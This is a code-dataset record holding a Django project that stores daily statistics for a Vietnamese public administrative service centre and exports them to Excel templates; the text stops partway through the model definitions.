repo_name
stringlengths
5
114
repo_url
stringlengths
24
133
snapshot_id
stringlengths
40
40
revision_id
stringlengths
40
40
directory_id
stringlengths
40
40
branch_name
stringclasses
209 values
visit_date
timestamp[ns]
revision_date
timestamp[ns]
committer_date
timestamp[ns]
github_id
int64
9.83k
683M
star_events_count
int64
0
22.6k
fork_events_count
int64
0
4.15k
gha_license_id
stringclasses
17 values
gha_created_at
timestamp[ns]
gha_updated_at
timestamp[ns]
gha_pushed_at
timestamp[ns]
gha_language
stringclasses
115 values
files
listlengths
1
13.2k
num_files
int64
1
13.2k
BuiVanDuc/APReport
https://github.com/BuiVanDuc/APReport
59780ea79593527760f6b6c011e73703ab731932
3bd6452a9261cef2594234f4ae98dd836a54d1f2
9647735ac8c677af10042dcd00b7a2c727c51af5
refs/heads/master
2020-04-22T04:18:27.582242
2019-03-01T11:42:00
2019-03-01T11:42:00
170,118,913
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5491071343421936, "alphanum_fraction": 0.5952380895614624, "avg_line_length": 25.8799991607666, "blob_id": "34038e4e79085f0caf8c17c8b8ad07e315cb0605", "content_id": "dc336928003bbd4a2ccd0827e7572a16a7e8c35b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 672, "license_type": "no_license", "max_line_length": 63, "num_lines": 25, "path": "/database/migrations/0004_auto_20190124_0040.py", "repo_name": "BuiVanDuc/APReport", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\n# Generated by Django 1.11.17 on 2019-01-24 00:40\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('database', '0003_statisticaldatareport_a_i_2_note'),\n ]\n\n operations = [\n migrations.AddField(\n model_name='statisticaldatareport',\n name='a_i_2_4_amount',\n field=models.IntegerField(default=0),\n ),\n migrations.AddField(\n model_name='statisticaldatareport',\n name='a_i_2_4_note',\n field=models.CharField(blank=True, max_length=225),\n ),\n ]\n" }, { "alpha_fraction": 0.7638376355171204, "alphanum_fraction": 0.7638376355171204, "avg_line_length": 29, "blob_id": "8609e6d5cc6c166d811764dc7db45306063de6d0", "content_id": "dee7e983519b76f00599d15d3327401456e18d4c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 271, "license_type": "no_license", "max_line_length": 60, "num_lines": 9, "path": "/ap_service/urls.py", "repo_name": "BuiVanDuc/APReport", "src_encoding": "UTF-8", "text": "from django.conf.urls import url\n\nfrom report.controller import ReportController\nfrom report.export.export_controller import ExportController\n\nurlpatterns = [\n url(r'^reports$', ReportController.as_view()),\n url(r'^exports/reports', ExportController.as_view()),\n]\n\n" }, { "alpha_fraction": 0.498824805021286, "alphanum_fraction": 0.5666509866714478, "avg_line_length": 39.685791015625, "blob_id": "3bc33ede4c26b6117e5f3eb81867ae310d19468c", "content_id": "dbbce3e87c5ede9fac456b740bacf9f9c517af8d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 15127, "license_type": "no_license", "max_line_length": 109, "num_lines": 366, "path": "/utils/file_xlsx_utils.py", "repo_name": "BuiVanDuc/APReport", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nimport os\nfrom datetime import datetime\n\nimport pythoncom\nfrom openpyxl import load_workbook, Workbook\nfrom openpyxl.styles import Font\nfrom win32com.client import Dispatch\n\nfrom ap_service.settings import REPORT_DIR, TEMPLATE_DIR\nfrom utils.date_utils import parse_date_from_string, convert_datetime_to_string\n\n\ndef create_xlsx_file_using_template(report_name, number_sheet, template='template.xlsx'):\n \"\"\"\n :param number_sheet:\n :param export_type: 2 create a file report; 3 create all reports\n :param list_date:\n :param templates: None\n :return: list reports\n \"\"\"\n # create file xlsx\n wb = Workbook()\n path_report = os.path.join(REPORT_DIR, report_name)\n wb.save(path_report)\n\n path_template = os.path.join(TEMPLATE_DIR, template)\n\n # Copy templates to files report\n pythoncom.CoInitialize()\n xl = Dispatch('Excel.Application')\n # You can remove this line if you don't want the Excel application to be visible\n xl.Visible = True\n\n wb1 = xl.Workbooks.Open(Filename=path_template)\n wb2 = xl.Workbooks.Open(Filename=path_report)\n\n ws1 = wb1.Worksheets(1)\n ws1.Copy(Before=wb2.Worksheets(1))\n\n wb2.Close(SaveChanges=True)\n xl.Quit()\n\n wb = load_workbook(path_report)\n if number_sheet > 1:\n # Load report\n number = 2\n\n while number_sheet >= number:\n # Get Sheet\n source = wb.get_sheet_by_name('01')\n # Copy sheet\n target = wb.copy_worksheet(source)\n\n # Rename sheet copy\n name_sheet = wb.get_sheet_by_name('01 Copy')\n name_new_sheet = \"%02d\" % (number,)\n name_sheet.title = name_new_sheet\n wb.save(path_report)\n number += 1\n\n wb.remove(wb.get_sheet_by_name('Sheet'))\n wb.save(path_report)\n\n return path_report\n\n# number sheet\n\ndef update_xlsx_file(report_data, path_report, index_sheet):\n # Create a workbook and add a worksheet.\n\n workbook = load_workbook(path_report)\n data = report_data\n # Open sheet index in file\n sheet = workbook.worksheets[index_sheet]\n\n ft = Font(name='Times New Roman',\n size=13,\n italic=True,\n strike=False,\n )\n day, month, year = \"\", \"\", \"\"\n\n if isinstance(data['created_at'], datetime) :\n date = data['created_at']\n year = date.strftime(\"%Y\")\n month = date.strftime(\"%m\")\n day = date.strftime(\"%d\")\n elif isinstance(data['created_at'],str):\n date = parse_date_from_string(data['created_at'])\n year = date.strftime(\"%Y\")\n month = date.strftime(\"%m\")\n day = date.strftime(\"%d\")\n\n sheet['A2'] = \"Ngày {} tháng {} năm {}\".format(day, month, year)\n a2 = sheet['A2']\n a2.font = ft\n\n # A Phòng HÀNH CHÍNH - QUẢN TRỊ\n # I. Bộ phận hướng dẫn + tổng đài hỗ trợ 1900558826\n sheet['D7'] = data['a_i_1_amount']\n sheet['E7'] = data['a_i_1_note']\n sheet['D11'] = data['a_i_2_1_amount']\n sheet['E11'] = data['a_i_2_1_note']\n sheet['D12'] = data['a_i_2_2_amount']\n sheet['E12'] = data['a_i_2_2_note']\n sheet['D10'] = sheet['D11'].value + sheet['D12'].value\n sheet['E10'] = data['a_i_2_note']\n sheet['D14'] = data['a_i_2_3_amount']\n sheet['E14'] = data['a_i_2_3_note']\n sheet['D15'] = data['a_i_2_4_amount']\n sheet['E15'] = data['a_i_2_4_note']\n sheet['D13'] = sheet['D14'].value + sheet['D15'].value\n sheet['D8'] = sheet['D10'].value + sheet['D13'].value\n sheet['D16'] = data['a_i_3_amount']\n sheet['E16'] = data['a_i_3_note']\n sheet['D17'] = data['a_i_4_amount']\n sheet['E17'] = data['a_i_4_note']\n # II. Bộ phận thu phí, lệ phí\n sheet['D19'] = data['a_ii_1_amount']\n sheet['E19'] = data['a_ii_1_note']\n sheet['D22'] = data['a_ii_2_1_amount']\n sheet['E22'] = data['a_ii_2_1_note']\n sheet['D23'] = data['a_ii_2_2_amount']\n sheet['E23'] = data['a_ii_2_2_note']\n sheet['D24'] = data['a_ii_2_3_amount']\n sheet['E24'] = data['a_ii_2_3_note']\n sheet['D25'] = data['a_ii_2_4_amount']\n sheet['E25'] = data['a_ii_2_4_note']\n sheet['D26'] = data['a_ii_2_5_amount']\n sheet['E26'] = data['a_ii_2_5_note']\n sheet['D20'] = sheet['D22'].value + sheet['D23'].value + sheet['D24'].value + sheet['D25'].value + sheet[\n 'D26'].value\n sheet['D27'] = data['a_ii_3_amount']\n sheet['E27'] = data['a_ii_3_note']\n # III. Hoạt động của các bộ phận dịch vụ hỗ trợ\n sheet['D29'] = data['a_iii_1_1_amount']\n sheet['E29'] = data['a_iii_1_1_note']\n sheet['D30'] = data['a_iii_1_2_amount']\n sheet['E30'] = data['a_iii_1_2_note']\n sheet['D33'] = data['a_iii_2_1_amount']\n sheet['E33'] = data['a_iii_2_1_note']\n sheet['D34'] = data['a_iii_2_2_mount']\n sheet['E34'] = data['a_iii_2_2_note']\n sheet['D35'] = data['a_iii_2_3_mount']\n sheet['E35'] = data['a_iii_2_3_note']\n sheet['D31'] = sheet['D33'].value + sheet['D34'].value + sheet['D35'].value\n sheet['E31'] = data['a_iii_2_note']\n sheet['D38'] = data['a_iii_3_1_mount']\n sheet['E38'] = data['a_iii_3_1_note']\n sheet['D39'] = data['a_iii_3_2_mount']\n sheet['E39'] = data['a_iii_3_2_note']\n sheet['D40'] = data['a_iii_3_3_mount']\n sheet['E40'] = data['a_iii_3_3_note']\n sheet['D36'] = sheet['D38'].value + sheet['D39'].value + sheet['D40'].value\n sheet['E36'] = data['a_iii_3_note']\n sheet['D41'] = data['a_iii_4_mount']\n sheet['E41'] = data['a_iii_4_note']\n sheet['D42'] = data['a_iii_5_mount']\n sheet['E42'] = data['a_iii_5_note']\n sheet['D43'] = data['a_iii_6_mount']\n sheet['E43'] = data['a_iii_6_note']\n sheet['D44'] = data['a_iii_7_1_mount']\n sheet['E44'] = data['a_iii_7_1_note']\n sheet['D45'] = data['a_iii_7_2_mount']\n sheet['E45'] = data['a_iii_7_2_note']\n # B. PHÒNG TIẾP NHẬN VÀ GIẢI QUYẾT\n # I. Tiếp nhận, giải quyết, trả kết quả TTHC tại Trung tâm Phục vụ hành chính công tỉnh\n sheet['D50'] = data['b_i_1_1_amount']\n sheet['E50'] = data['b_i_1_1_note']\n sheet['D51'] = data['b_i_1_2_amount']\n sheet['E51'] = data['b_i_1_2_note']\n sheet['D52'] = data['b_i_1_3_amount']\n sheet['E52'] = data['b_i_1_3_note']\n sheet['D48'] = sheet['D50'].value + sheet['D51'].value + sheet['D52'].value\n sheet['E48'] = data['b_i_1_note']\n sheet['D55'] = data['b_i_2_1_amount']\n sheet['E55'] = data['b_i_2_1_note']\n sheet['D56'] = data['b_i_2_2_amount']\n sheet['E56'] = data['b_i_2_2_note']\n sheet['D57'] = data['b_i_2_3_amount']\n sheet['E57'] = data['b_i_2_3_note']\n sheet['D53'] = sheet['D55'].value + sheet['D56'].value + sheet['D57'].value\n sheet['E53'] = data['b_i_2_note']\n sheet['D60'] = data['b_i_3_1_amount']\n sheet['E60'] = data['b_i_3_1_note']\n sheet['D61'] = data['b_i_3_2_amount']\n sheet['E61'] = data['b_i_3_2_note']\n sheet['D62'] = data['b_i_3_3_amount']\n sheet['E62'] = data['b_i_3_3_note']\n sheet['D58'] = sheet['D60'].value + sheet['D61'].value + sheet['D62'].value\n sheet['E58'] = data['b_i_3_note']\n # .II Các nội dung khác\n sheet['D64'] = data['b_ii_1_1_amount']\n sheet['E64'] = data['b_ii_1_1_note']\n sheet['D65'] = data['b_ii_1_2_amount']\n sheet['E65'] = data['b_ii_1_2_note']\n sheet['D66'] = data['b_ii_2_1_amount']\n sheet['E66'] = data['b_ii_2_1_note']\n sheet['D67'] = data['b_ii_2_2_amount']\n sheet['E67'] = data['b_ii_2_2_note']\n sheet['D68'] = data['b_ii_3_amount']\n sheet['E68'] = data['b_ii_3_note']\n sheet['D69'] = data['b_ii_4_amount']\n sheet['E69'] = data['b_ii_4_note']\n # C. PHÒNG KẾ HOẠCH TỔNG HỢP\n # I. Tiếp nhận, giải quyết, trả kết quả TTHC tại Trung tâm Phục vụ hành chính công tỉnh\n sheet['D72'] = data['c_i_1_1_amount']\n sheet['E72'] = data['c_i_1_1_note']\n sheet['D73'] = data['c_i_1_2_amount']\n sheet['E73'] = data['c_i_1_2_note']\n sheet['D77'] = data['c_i_2_1_amount']\n sheet['E77'] = data['c_i_2_1_note']\n sheet['D78'] = data['c_i_2_2_amount']\n sheet['E78'] = data['c_i_2_2_note']\n sheet['D79'] = data['c_i_2_3_amount']\n sheet['E79'] = data['c_i_2_3_note']\n sheet['D75'] = sheet['D77'].value + sheet['D78'].value + sheet['D79'].value\n sheet['E75'] = data['c_i_2_note']\n sheet['D80'] = data['c_i_3_1_amount']\n sheet['E80'] = data['c_i_3_1_note']\n sheet['D81'] = data['c_i_3_2_amount']\n sheet['E81'] = data['c_i_3_2_note']\n sheet['D82'] = data['c_i_4_1_amount']\n sheet['E82'] = data['c_i_4_1_note']\n sheet['D83'] = data['c_i_4_2_amount']\n sheet['E83'] = data['c_i_4_2_note']\n # II. Tiếp nhận, giải quyết TTHC tại Bộ phận tiếp nhận và trả kết quả cấp xã\n sheet['D85'] = data['c_ii_1_amount']\n sheet['e85'] = data['c_ii_1_note']\n sheet['D89'] = data['c_ii_2_1_amount']\n sheet['E89'] = data['c_ii_2_1_note']\n sheet['D90'] = data['c_ii_2_2_amount']\n sheet['E90'] = data['c_ii_2_2_note']\n sheet['D91'] = data['c_ii_2_3_amount']\n sheet['E91'] = data['c_ii_2_3_note']\n sheet['D87'] = sheet['D89'].value + sheet['D90'].value + sheet['D91'].value\n sheet['E87'] = data['c_ii_2_note']\n # III. Các nội dung khác\n sheet['D93'] = data['c_iii_1_amount']\n sheet['E93'] = data['c_iii_1_note']\n sheet['D94'] = data['c_iii_2_amount']\n sheet['E94'] = data['c_iii_2_note']\n sheet['D95'] = data['c_iii_3_amount']\n sheet['E95'] = data['c_iii_3_note']\n sheet['D96'] = data['c_iii_4_amount']\n sheet['E96'] = data['c_iii_4_note']\n sheet['D97'] = data['c_iii_5_amount']\n sheet['E97'] = data['c_iii_5_note']\n # D. PHÒNG KIỂM TRA GIÁM SAT\n # I. Tiếp nhận, trả kết quả giải quyết TTHC tại các Trung tâm PVHCC cấp huyện\n sheet['D100'] = data['d_i_1_amount']\n # sheet['E100'] = data['d_i_1_note']\n sheet['D101'] = data['d_i_2_amount']\n sheet['E101'] = data['d_i_2_note']\n sheet['D102'] = data['d_i_3_amount']\n sheet['E102'] = data['d_i_3_note']\n sheet['D103'] = data['d_i_4_amount']\n sheet['E103'] = data['d_i_4_note']\n sheet['D104'] = data['d_i_5_amount']\n sheet['E104'] = data['d_i_5_note']\n sheet['D105'] = data['d_i_6_amount']\n sheet['E105'] = data['d_i_6_note']\n # II. Khảo sát, đánh giá sự hài lòng của tổ chức, công dân\n sheet['D109'] = data['d_ii_1_1_amount']\n sheet['E109'] = data['d_ii_1_1_note']\n sheet['D110'] = data['d_ii_1_2_amount']\n sheet['E110'] = data['d_ii_1_2_note']\n sheet['D111'] = data['d_ii_1_3_amount']\n sheet['E111'] = data['d_ii_1_3_note']\n sheet['D107'] = sheet['D109'].value + sheet['D110'].value + sheet['D111'].value\n sheet['E107'] = data['d_ii_1_note']\n sheet['D113'] = data['d_ii_1_4_amount']\n sheet['E113'] = data['d_ii_1_4_note']\n if sheet['D107'].value > 0:\n sheet['D114'] = round(sheet['D113'].value * 100 / float(sheet['D107'].value), 2)\n sheet['D114'] = sheet['D107'].value\n sheet['D115'] = data['d_ii_1_5_amount']\n sheet['E115'] = data['d_ii_1_5_note']\n sheet['D116'] = round(sheet['D115'].value * 100 / float(sheet['D107'].value), 2)\n sheet['D117'] = data['d_ii_1_6_amount']\n sheet['E117'] = data['d_ii_1_6_note']\n sheet['D118'] = round(sheet['D117'].value * 100 / float(sheet['D107'].value), 2)\n sheet['D119'] = data['d_ii_1_7_amount']\n sheet['E119'] = data['d_ii_1_7_note']\n sheet['D120'] = round(100 - (sheet['D114'].value + sheet['D116'].value + sheet['D118'].value), 2)\n # III. Tiếp nhận, xử lý các phản ánh, kiến nghị, khiếu nại, tố cáo của tổ chức, công dân\n sheet['D124'] = data['d_iii_1_1_amount']\n sheet['E124'] = data['d_iii_1_1_note']\n sheet['D125'] = data['d_iii_1_2_amount']\n sheet['E125'] = data['d_iii_1_2_note']\n sheet['D126'] = data['d_iii_1_3_amount']\n sheet['E126'] = data['d_iii_1_3_note']\n sheet['D127'] = data['d_iii_1_4_amount']\n sheet['E127'] = data['d_iii_1_4_note']\n sheet['D123'] = sheet['D124'].value + sheet['D125'].value + sheet['D126'].value + sheet['D127'].value\n sheet['E123'] = data['d_iii_1_a_note']\n sheet['D129'] = data['d_iii_1_5_amount']\n sheet['E129'] = data['d_iii_1_5_note']\n sheet['D130'] = data['d_iii_1_6_amount']\n sheet['E130'] = data['d_iii_1_6_note']\n sheet['D131'] = data['d_iii_1_7_amount']\n sheet['E131'] = data['d_iii_1_7_note']\n sheet['D132'] = data['d_iii_1_8_amount']\n sheet['E132'] = data['d_iii_1_8_note']\n sheet['D128'] = sheet['D129'].value + sheet['D130'].value + sheet['D131'].value + sheet['D132'].value\n sheet['E128'] = data['d_iii_1_b_note']\n sheet['D135'] = data['d_iii_2_1_amount']\n sheet['E135'] = data['d_iii_2_1_note']\n sheet['D136'] = data['d_iii_2_2_amount']\n sheet['E136'] = data['d_iii_2_2_note']\n sheet['D137'] = data['d_iii_2_3_amount']\n sheet['E137'] = data['d_iii_2_3_note']\n sheet['D134'] = sheet['D135'].value + sheet['D136'].value + sheet['D137'].value\n sheet['E134'] = data['d_iii_2_a_note']\n sheet['D139'] = data['d_iii_2_4_amount']\n sheet['E139'] = data['d_iii_2_4_note']\n sheet['D140'] = data['d_iii_2_5_amount']\n sheet['E140'] = data['d_iii_2_5_note']\n sheet['D141'] = data['d_iii_2_6_amount']\n sheet['E141'] = data['d_iii_2_6_note']\n sheet['D138'] = sheet['D139'].value + sheet['D140'].value + sheet['D141'].value\n sheet['E138'] = data['d_iii_2_b_note']\n workbook.save(path_report)\n return path_report\n\n\ndef generate_report_name(export_type, start_date=None, end_date=None, created_at=None):\n if export_type == 0:\n start_date_str = start_date.strftime(\"%Y_%m_%d\")\n end_date_str = end_date.strftime(\"%Y_%m_%d\")\n report_name = \"Report_summarized_from_{}_to_{}.xlsx\".format(start_date_str, end_date_str)\n return report_name\n elif export_type == 1:\n start_date_str = start_date.strftime(\"%Y_%m_%d\")\n end_date_str = end_date.strftime(\"%Y_%m_%d\")\n report_name = \"Report_from_{}_to_{}.xlsx\".format(start_date_str, end_date_str)\n return report_name\n elif export_type == 2:\n date_str = created_at.strftime(\"%Y_%m_%d\")\n report_name = \"Report_{}.xlsx\".format(date_str)\n return report_name\n\ndef is_file_existed(file_name, dir_filename=REPORT_DIR):\n if file_name:\n path_report = os.path.join(dir_filename, file_name)\n is_file = os.path.isfile(path_report)\n if is_file:\n return True\n\n return False\n\n\ndef rename_file_existing(file_name, new_name, dir_filename=REPORT_DIR):\n if is_file_existed(file_name, dir_filename):\n if len(new_name) > 0:\n old_path_report = os.path.join(REPORT_DIR, file_name)\n new_path_report = os.path.join(REPORT_DIR, new_name)\n os.rename(old_path_report, new_path_report)\n return new_name\n\ndef create_new_name_for_xlsx_file(file_name, file_name_extension):\n if len(file_name) > 0 and len(file_name_extension) > 0:\n new_file_name = \"{}_old_{}.xlsx\".format(file_name[:-5], file_name_extension)\n\n return new_file_name\n" }, { "alpha_fraction": 0.7565217614173889, "alphanum_fraction": 0.7565217614173889, "avg_line_length": 24.55555534362793, "blob_id": "d2b183143abaa188b7e304dcb6061cffcb305763", "content_id": "9821b7991749d0758fd84afd8f99fad8c0a1585b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 230, "license_type": "no_license", "max_line_length": 56, "num_lines": 9, "path": "/report/serializer.py", "repo_name": "BuiVanDuc/APReport", "src_encoding": "UTF-8", "text": "from rest_framework import serializers\n\nfrom database.models import StatisticalDataReport\n\n\nclass ListReportSerializer(serializers.ModelSerializer):\n class Meta:\n model = StatisticalDataReport\n fields = '__all__'\n" }, { "alpha_fraction": 0.6350495219230652, "alphanum_fraction": 0.6936820149421692, "avg_line_length": 56.274417877197266, "blob_id": "578133c07d7919aa1051762ac13325a556da527e", "content_id": "e748856a5a4eee70bb1d98b723092db22e3c38c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 12593, "license_type": "no_license", "max_line_length": 146, "num_lines": 215, "path": "/database/models.py", "repo_name": "BuiVanDuc/APReport", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\nfrom django.db import models\n\n\nclass StatisticalDataReport(models.Model):\n created_at = models.DateTimeField(auto_now_add=True)\n # A. PHÒNG HÀNH CHÍNH - QUẢN TRỊ\n # I. Bộ phận hướng dẫn + Tổng đài hỗ trợ 1900558826\n a_i_1_amount = models.IntegerField(default=0)\n a_i_1_note = models.CharField(blank=True, max_length=225)\n a_i_2_note = models.CharField(blank=True, max_length=255)\n a_i_2_1_amount = models.IntegerField(default=0)\n a_i_2_1_note = models.CharField(blank=True, max_length=225)\n a_i_2_2_amount = models.IntegerField(default=0)\n a_i_2_2_note = models.CharField(blank=True, max_length=225)\n a_i_2_3_amount = models.IntegerField(default=0)\n a_i_2_3_note = models.CharField(blank=True, max_length=225)\n a_i_2_4_amount = models.IntegerField(default=0)\n a_i_2_4_note = models.CharField(blank=True, max_length=225)\n a_i_3_amount = models.IntegerField(default=0)\n a_i_3_note = models.CharField(blank=True, max_length=225)\n a_i_4_amount = models.IntegerField(default=0)\n a_i_4_note = models.CharField(blank=True, max_length=225)\n # II.Bộ phận thu phí, lệ phí\n a_ii_1_amount = models.IntegerField(default=0)\n a_ii_1_note = models.CharField(blank=True, max_length=225)\n a_ii_2_note = models.CharField(blank=True, max_length=225)\n a_ii_2_1_amount = models.IntegerField(default=0)\n a_ii_2_1_note = models.CharField(blank=True, max_length=225)\n a_ii_2_2_amount = models.IntegerField(default=0)\n a_ii_2_2_note = models.CharField(blank=True, max_length=225)\n a_ii_2_3_amount = models.IntegerField(default=0)\n a_ii_2_3_note = models.CharField(blank=True, max_length=225)\n a_ii_2_4_amount = models.IntegerField(default=0)\n a_ii_2_4_note = models.CharField(blank=True, max_length=225)\n a_ii_2_5_amount = models.IntegerField(default=0)\n a_ii_2_5_note = models.CharField(blank=True, max_length=225)\n a_ii_3_amount = models.IntegerField(default=0)\n a_ii_3_note = models.CharField(blank=True, max_length=225)\n # III.Hoạt động của các bộ phận dịch vụ hỗ trợ\n a_iii_1_1_amount = models.IntegerField(default=0)\n a_iii_1_1_note = models.CharField(blank=True, max_length=225)\n a_iii_1_2_amount = models.IntegerField(default=0)\n a_iii_1_2_note = models.CharField(blank=True, max_length=225)\n a_iii_2_note = models.CharField(blank=True, max_length=225)\n a_iii_2_1_amount = models.IntegerField(default=0)\n a_iii_2_1_note = models.CharField(blank=True, max_length=225)\n a_iii_2_2_mount = models.IntegerField(default=0)\n a_iii_2_2_note = models.CharField(blank=True, max_length=225)\n a_iii_2_3_mount = models.IntegerField(default=0)\n a_iii_2_3_note = models.CharField(blank=True, max_length=225)\n a_iii_3_note = models.CharField(blank=True, max_length=225)\n a_iii_3_1_mount = models.IntegerField(default=0)\n a_iii_3_1_note = models.CharField(blank=True, max_length=225)\n a_iii_3_2_mount = models.IntegerField(default=0)\n a_iii_3_2_note = models.CharField(blank=True, max_length=225)\n a_iii_3_3_mount = models.IntegerField(default=0)\n a_iii_3_3_note = models.CharField(blank=True, max_length=225)\n a_iii_4_mount = models.IntegerField(default=0)\n a_iii_4_note = models.CharField(blank=True, max_length=225)\n a_iii_5_mount = models.IntegerField(default=0)\n a_iii_5_note = models.CharField(blank=True, max_length=225)\n a_iii_6_mount = models.IntegerField(default=0)\n a_iii_6_note = models.CharField(blank=True, max_length=225)\n a_iii_7_1_mount = models.IntegerField(default=0)\n a_iii_7_1_note = models.CharField(blank=True, max_length=225)\n a_iii_7_2_mount = models.IntegerField(default=0)\n a_iii_7_2_note = models.CharField(blank=True, max_length=225)\n # B. PHÒNG TIẾP NHẬN VÀ GIẢI QUYẾT TTHC\n # I. Tiếp nhận, giải quyết, trả kết quả TTHC tại Trung tâm Phục vụ hành chính công tỉnh\n # 1. Số hồ sơ mới được tiếp nhận trong ngày\n b_i_1_note = models.CharField(blank=True, max_length=225)\n b_i_1_1_amount = models.IntegerField(default=0)\n b_i_1_1_note = models.CharField(blank=True, max_length=225)\n b_i_1_2_amount = models.IntegerField(default=0)\n b_i_1_2_note = models.CharField(blank=True, max_length=225)\n b_i_1_3_amount = models.IntegerField(default=0)\n b_i_1_3_note = models.CharField(blank=True, max_length=225)\n # 2. Tổng số hồ sơ TTHC đã giải quyết trong ngày\n b_i_2_note = models.CharField(blank=True, max_length=225)\n b_i_2_1_amount = models.IntegerField(default=0)\n b_i_2_1_note = models.CharField(blank=True, max_length=225)\n b_i_2_2_amount = models.IntegerField(default=0)\n b_i_2_2_note = models.CharField(blank=True, max_length=225)\n b_i_2_3_amount = models.IntegerField(default=0)\n b_i_2_3_note = models.CharField(blank=True, max_length=225)\n # 3. Tổng số kết quả TTHC đã trả công dân trong ngày\n b_i_3_note = models.CharField(blank=True, max_length=225)\n b_i_3_1_amount = models.IntegerField(default=0)\n b_i_3_1_note = models.CharField(blank=True, max_length=225)\n b_i_3_2_amount = models.IntegerField(default=0)\n b_i_3_2_note = models.CharField(blank=True, max_length=225)\n b_i_3_3_amount = models.IntegerField(default=0)\n b_i_3_3_note = models.CharField(blank=True, max_length=225)\n # II. Các nội dung khác\n b_ii_1_1_amount = models.IntegerField(default=0)\n b_ii_1_1_note = models.CharField(blank=True, max_length=225)\n b_ii_1_2_amount = models.IntegerField(default=0)\n b_ii_1_2_note = models.CharField(blank=True, max_length=225)\n b_ii_2_1_amount = models.IntegerField(default=0)\n b_ii_2_1_note = models.CharField(blank=True, max_length=225)\n b_ii_2_2_amount = models.IntegerField(default=0)\n b_ii_2_2_note = models.CharField(blank=True, max_length=225)\n b_ii_3_amount = models.IntegerField(default=0)\n b_ii_3_note = models.CharField(blank=True, max_length=225)\n b_ii_4_amount = models.IntegerField(default=0)\n b_ii_4_note = models.CharField(blank=True, max_length=225)\n # C. PHÒNG KẾ HOẠCH TỔNG HỢP\n # I\tTiếp nhận, trả kết quả giải quyết TTHC tại các Trung tâm PVHCC cấp huyện\n c_i_1_1_amount = models.IntegerField(default=0)\n c_i_1_1_note = models.CharField(blank=True, max_length=225)\n c_i_1_2_amount = models.IntegerField(default=0)\n c_i_1_2_note = models.CharField(blank=True, max_length=225)\n c_i_2_note = models.CharField(blank=True, max_length=225)\n c_i_2_1_amount = models.IntegerField(default=0)\n c_i_2_1_note = models.CharField(blank=True, max_length=225)\n c_i_2_2_amount = models.IntegerField(default=0)\n c_i_2_2_note = models.CharField(blank=True, max_length=225)\n c_i_2_3_amount = models.IntegerField(default=0)\n c_i_2_3_note = models.CharField(blank=True, max_length=225)\n c_i_3_1_amount = models.IntegerField(default=0)\n c_i_3_1_note = models.CharField(blank=True, max_length=225)\n c_i_3_2_amount = models.IntegerField(default=0)\n c_i_3_2_note = models.CharField(blank=True, max_length=255)\n c_i_4_1_amount = models.IntegerField(default=0)\n c_i_4_1_note = models.CharField(blank=True, max_length=225)\n c_i_4_2_amount = models.IntegerField(default=0)\n c_i_4_2_note = models.CharField(blank=True, max_length=225)\n # II.Tiếp nhận, giải quyết TTHC tại Bộ phận tiếp nhận và trả kết quả cấp xã\n c_ii_1_amount = models.IntegerField(default=0)\n c_ii_1_note = models.CharField(blank=True, max_length=225)\n c_ii_2_note = models.CharField(blank=True, max_length=225)\n c_ii_2_1_amount = models.IntegerField(default=0)\n c_ii_2_1_note = models.CharField(blank=True, max_length=225)\n c_ii_2_2_amount = models.IntegerField(default=0)\n c_ii_2_2_note = models.CharField(blank=True, max_length=225)\n c_ii_2_3_amount = models.IntegerField(default=0)\n c_ii_2_3_note = models.CharField(blank=True, max_length=225)\n # III.Các nội dung khác\n c_iii_1_amount = models.IntegerField(default=0)\n c_iii_1_note = models.CharField(blank=True, max_length=225)\n c_iii_2_amount = models.IntegerField(default=0)\n c_iii_2_note = models.CharField(blank=True, max_length=225)\n c_iii_3_amount = models.IntegerField(default=0)\n c_iii_3_note = models.CharField(blank=True, max_length=225)\n c_iii_4_amount = models.IntegerField(default=0)\n c_iii_4_note = models.CharField(blank=True, max_length=225)\n c_iii_5_amount = models.IntegerField(default=0)\n c_iii_5_note = models.CharField(blank=True, max_length=225)\n # D.PHÒNG KIỂM TRA GIÁM SÁT\n # I.Tình hình chấp hành kỷ luật kỷ cương hành chính, văn hóa văn minh công sở của cán bộ làm việc tại Trung tâm PVHCC tỉnh trong ngày làm việc\n d_i_1_amount = models.IntegerField(default=0)\n d_i_1_note = models.CharField(blank=True, max_length=225)\n d_i_2_amount = models.IntegerField(default=0)\n d_i_2_note = models.CharField(blank=True, max_length=225)\n d_i_3_amount = models.IntegerField(default=0)\n d_i_3_note = models.CharField(blank=True, max_length=225)\n d_i_4_amount = models.IntegerField(default=0)\n d_i_4_note = models.CharField(blank=True, max_length=225)\n d_i_5_amount = models.IntegerField(default=0)\n d_i_5_note = models.CharField(blank=True, max_length=225)\n d_i_6_amount = models.IntegerField(default=0)\n d_i_6_note = models.CharField(blank=True, max_length=225)\n # II. Khảo sát, đánh giá sự hài lòng của tổ chức, công dân\n d_ii_1_note = models.CharField(blank=True, max_length=225)\n d_ii_1_1_amount = models.IntegerField(default=0)\n d_ii_1_1_note = models.CharField(blank=True, max_length=225)\n d_ii_1_2_amount = models.IntegerField(default=0)\n d_ii_1_2_note = models.CharField(blank=True, max_length=225)\n d_ii_1_3_amount = models.IntegerField(default=0)\n d_ii_1_3_note = models.CharField(blank=True, max_length=225)\n d_ii_1_4_amount = models.IntegerField(default=0)\n d_ii_1_4_note = models.CharField(blank=True, max_length=225)\n d_ii_1_5_amount = models.IntegerField(default=0)\n d_ii_1_5_note = models.CharField(blank=True, max_length=225)\n d_ii_1_6_amount = models.IntegerField(default=0)\n d_ii_1_6_note = models.CharField(blank=True, max_length=225)\n d_ii_1_7_amount = models.IntegerField(default=0)\n d_ii_1_7_note = models.CharField(blank=True, max_length=225)\n # III. Tiếp nhận, xử lý các phản ánh, kiến nghị, khiếu nại, tố cáo của tổ chức, công dân\n d_iii_1_a_note = models.CharField(blank=True, max_length=225)\n d_iii_1_1_amount = models.IntegerField(default=0)\n d_iii_1_1_note = models.CharField(blank=True, max_length=225)\n 